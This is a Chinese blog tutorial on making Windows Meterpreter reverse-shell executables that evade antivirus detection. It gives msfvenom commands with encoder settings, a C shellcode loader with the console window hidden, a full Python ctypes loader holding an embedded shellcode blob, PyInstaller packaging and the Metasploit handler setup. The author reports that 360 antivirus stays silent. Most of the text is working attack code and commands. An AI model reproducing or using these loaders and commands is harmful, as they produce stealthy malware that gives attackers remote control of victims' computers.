MSF 生成静态免杀shell(win)
2018-01-26 17:25
417 查看
NO.1
利用工具
msfmsf全称 MetasploitFramework,是一个缓冲区溢出测试使用的辅助工具,也可以说是一个漏洞利用和测试平台,它集成了各种平台上常见的溢出漏洞和流行的shellcode,并且不断更新,使得缓冲区溢出测试变的方便和简单。
vc++
c编译器
实现过程
1.使用msfvenom生成shellcodemsfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ lhost=192.168.68.129 lport=3333 -f c -o /root/Desktop/shell/shell.c -p : 指定payload; -e :指定编码方式; -i :编译次数; -b :去除指定代码,一般是空代码或者错误代码; lhost :指定本机IP; -lport :指定本机监听端口; -f :指定生成格式; -o指定生成输出后存储文件的位置
上图
2. 加入入口函数,开始编译
main() { ((void(*)(void))&buf)(); }
上图
执行后会在下方有显示,不成功会报错,成功会提示error为0(3是开始执行,这里我没点,我待会手动运行)
最后会在你原文件存在的目录生成exe可执行文件
编译ok
3. 开始监听
msfconsole //运行msf use exploit/multi/handler //使用handler模块 set lhost 192.168.68.129 //这里的IP需要和exp中IP一致 set lport 3333 //端口与IP一样要和上面的端口一致 set payload windows/meterpreter/reverse_tcp //指定payload exploit //开始监听
上图
4. 运行exe,看是否免杀
可以看到监听到IP
查看返回的session
运行成功,360没有报毒
但是有没有发现运行exe文件会弹出一个命令框,这样很容易就被发现了,所以需要对这个exp进行完善,所以请看number tow
NO.2
前面的步骤都一样,在编译时多添几行代码#include<stdio.h> #include<windows.h> #pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //禁止弹窗
上图
运行监听
360没报毒
OK;
以上呢都是c编译的,还有一种方法,可以使用Python编译生成exp,详细见number three
NO.3
利用工具
msfPython2
实现过程
1.生成.py的shellcodemsfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ lhost=192.168.68.129 lport=3333 -f py -o /home/shell/test001.py
上图
2.调整原文件准备编译(Python调用一些c代码)
from ctypes import * import ctypes buf = "" buf += "\xdb\xc1\xd9\x74\x24\xf4\x5e\x33\xc9\xb8\xdd\x73\xed" buf += "\x2b\xb1\x9e\x31\x46\x19\x03\x46\x19\x83\xee\xfc\x3f" buf += "\x86\x57\x95\x96\xca\x2e\x31\x25\xd5\x5b\xe2\x41\xbe" buf += "\x8a\x23\x18\xa8\xfc\xe3\x4f\xd4\xae\x16\xec\x1a\x4a" buf += "\xfb\xb9\x6e\x34\xa4\xfa\xac\x27\x87\x17\xd8\x46\xa1" buf += "\x12\x44\x09\xc5\x34\xd5\xd5\xa5\x8d\x05\xfa\x48\x9a" buf += "\xae\x70\x93\x9c\x32\x24\x38\x94\x3b\x48\x62\xb4\x9a" buf += "\x18\xd4\xb9\xa6\xa0\xec\x88\x85\xe6\xc5\xdd\xe0\x3d" buf += "\x7a\x28\xa3\xc5\x30\x63\x7d\x57\xe6\x34\xe2\xbc\xd5" buf += "\x09\xe9\x86\xfe\xad\xd0\x7c\x8a\x95\x63\x3c\x81\xbd" buf += "\x85\x9e\x01\xb2\x1f\x52\xb2\xdf\x56\x87\x34\x37\x98" buf += "\x1b\xf2\x7b\xc5\x37\x88\x47\x95\x68\xf9\x68\x0a\x0a" buf += "\x15\x0b\x8a\xf1\x3f\x98\x2b\xf3\x84\xeb\x0d\xd6\x50" buf += "\x8c\xca\x1a\x62\x80\x64\x5e\xbf\x5c\x81\x01\x36\x59" buf += "\xc0\xa4\x87\x38\x24\x42\xda\xaf\xc2\x87\x2e\x04\xec" buf += "\xfb\xb5\x76\x17\x2e\xb8\x7b\x82\x88\x0e\x1e\x8d\x4f" buf += "\xc9\x16\xf6\x2f\x87\x61\x6e\xf4\xe3\x93\xe4\xeb\x2f" buf += "\x58\x0a\xd1\x5b\xac\xd6\xaf\x3b\x3b\xf4\x7b\x76\xf3" buf += "\x67\x55\x0a\x7a\x32\x4a\x10\xc5\xbf\x8f\x20\xee\xaf" buf += "\x92\x40\xb9\x99\x67\xbc\xb6\xd5\x53\xba\xfb\x03\x32" buf += "\x34\x27\xce\x73\x4f\x12\x66\xe7\xcb\xd7\xca\xad\x31" buf += "\xd9\x79\x5d\x15\xce\x66\x59\x24\x0d\x5c\x11\x24\xef" buf += "\x45\x09\x84\xfe\x36\x2a\x77\x49\x45\x63\xe5\xc9\xf7" buf += "\x06\xcc\x73\xb8\x00\xe4\x42\x34\x16\x9c\xe5\x98\x84" buf += "\x91\x58\x48\x5e\xc1\xb0\xff\xb5\xa9\x6e\xa0\xf0\x26" buf += "\xe0\x4d\x27\xd7\x2c\x74\xaf\xa6\x51\x67\x38\xb4\x70" buf += "\x25\xb6\x55\xee\x98\xc3\xfd\x26\xaf\x12\x41\x11\x93" buf += "\xd6\x45\x59\x51\x05\x94\x87\x68\xea\xfb\x03\x1b\x03" buf += "\x91\x45\xd7\x6e\x96\x1c\xe9\x7a\x0d\x6e\xa5\xf2\xc5" buf += "\x03\x80\x9f\xcf\xe9\xc1\x8c\x90\x22\x6a\x04\xb2\x5c" buf += "\x56\x42\x27\x87\xc8\x06\xa5\x5d\x04\xa4\x1a\x04\x07" buf += "\xea\x3c\x46\xe6\x06\x99\xdb\xc6\x75\xb1\x8a\x20\x10" buf += "\x27\xed\xde\x42\xdd\x40\xfa\x7b\x64\x70\x4f\x0d\xed" buf += "\xf2\xb9\x42\x98\x9b\x41\xc6\x38\x04\xd9\x58\xe9\x77" buf += "\x4c\x06\xdf\x5c\xe4\x9a\x28\x4c\xd4\x41\xcd\x17\xa5" buf += "\x9a\x82\x36\xe4\x94\x0c\x92\xae\xc5\x7e\x8c\x8d\xd6" buf += "\x32\x75\xef\x0d\xdb\x3d\xe5\xae\xca\x45\xfb\xe9\x79" buf += "\x48\xaf\xca\xf1\xca\xb0\xe7\x5c\x39\x4f\xc3\x4c\x28" buf += "\x35\xa6\x13\x08\x59\xd7\x0a\x3e\x58\xa4\xa8\xc0\x22" buf += "\x70\xfd\xfd\x0f\x43\x86\x2a\xcd\x55\x6d\x7f\x8b\x49" buf += "\x82\xaa\x40\xbe\xf6\xc6\x32\xa9\x60\xb0\x19\x52\xf7" buf += "\xc8\xdf\x50\x58\xc1\xcc\xf4\x8b\x0b\x16\xe5\x79\xae" buf += "\xf3\x1c\x2b\x93\x8a\xbe\xc5\x03\x51\xb0\xbf\x5a\x2a" buf += "\x7d\x94\xf3\x18\xb5\xda\xe2\x10\xfa\xab\x66\x82\x5f" buf += "\x21\xb7\x09\xaf\x27\x37\xcf\xd5\x64\x47\x92\x71\x47" buf += "\xcb\x97\xb2\xd8\xfa\xe0\x97\x06\x71\x6d\xd6\xf2\xb4" buf += "\x1b\x60\xb4\xcd\x7a\xd0\xc1\x1d\x46\x92\x64\x95\x25" buf += "\x60\xd4\xff\x87\x2b\x02\xab\xfc\xd2\x47\x17\x89\x0c" buf += "\x54\x6d\x36\xff\x00\x31\xfc\x09\x05\xaf\x02\x7d\x7d" buf += "\x7b\xcd\x09\x67\xa6\x7d\xb2\x4b\x57\x73\x91\x4d\x06" buf += "\xca\xd3\x05\xd1\x73\x01\x66" #libc = CDLL('libc.so.6') PROT_READ = 1 PROT_WRITE = 2 PROT_EXEC = 4 def executable_code(buffer): buf = c_char_p(buffer) size = len(buffer) addr = libc.valloc(size) addr = c_void_p(addr) if 0 == addr: raise Exception("Failed to allocate memory") memmove(addr, buf, size) if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC): raise Exception("Failed to set protection on buffer") return addr VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc VirtualProtect = ctypes.windll.kernel32.VirtualProtect shellcode = bytearray(buf) whnd = ctypes.windll.kernel32.GetConsoleWindow() if whnd != 0: if 1: ctypes.windll.user32.ShowWindow(whnd, 0) ctypes.windll.kernel32.CloseHandle(whnd) memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) old = ctypes.c_long(1) VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell), buf, ctypes.c_int(len(shellcode))) shell = cast(memorywithshell, CFUNCTYPE(c_void_p)) shell()
3.执行Python命令进行编译生成可执行文件exe
python pyinstaller.py --console --onefile test001.py
4.msf中监听查看结果
完成;360一直安静着没什么动静
end
开启 exe运行,360不会报错,进程也一直都在,但是当我们 执行一些恶意命令的时候360会报出提示,但是运行的进程没有被杀,所以我们上面做到的只时一个简单的静态免杀,想要达到完整的攻击 效果还需要进行动态免杀,关于动态免杀敬请期待下篇博客;谢谢相关文章推荐
- MSF生成meterpreter及静态免杀
- 利用msf生成后门拿shell
- 使用MSF生成的shellcode打造免杀payload
- 使用MSF生成的shellcode打造免杀payload
- win下使用shell使用文件夹中的文件生成文件列表
- php之生成静态(ob_start)
- ASP专栏——ASP生成静态文件
- 网站生成静态页面攻略秘籍
- php生成全静态页面的方法
- PHP批量生成静态HTML的简单原理和方法
- shell 生成指定范围随机数与随机字符串
- 用php生成静态html页面
- 生成静态文件的新闻系统核心代码
- Asp.net生成htm静态文件的两种途径
- asp生成静态HTML页面
- shell脚本实现快速生成xml格式sitemap实例分享
- Asp.net生成htm静态文件的两种途径
- 使用shellcode打造MSF免杀payload及shellcode加载技术
- 展讯MMI 静态创建窗口? MMK_CreateWin()函数返回MMK_CreateWinTable()函数返回AppletCreateWindow()
- makefile + shell脚本自动生成动态库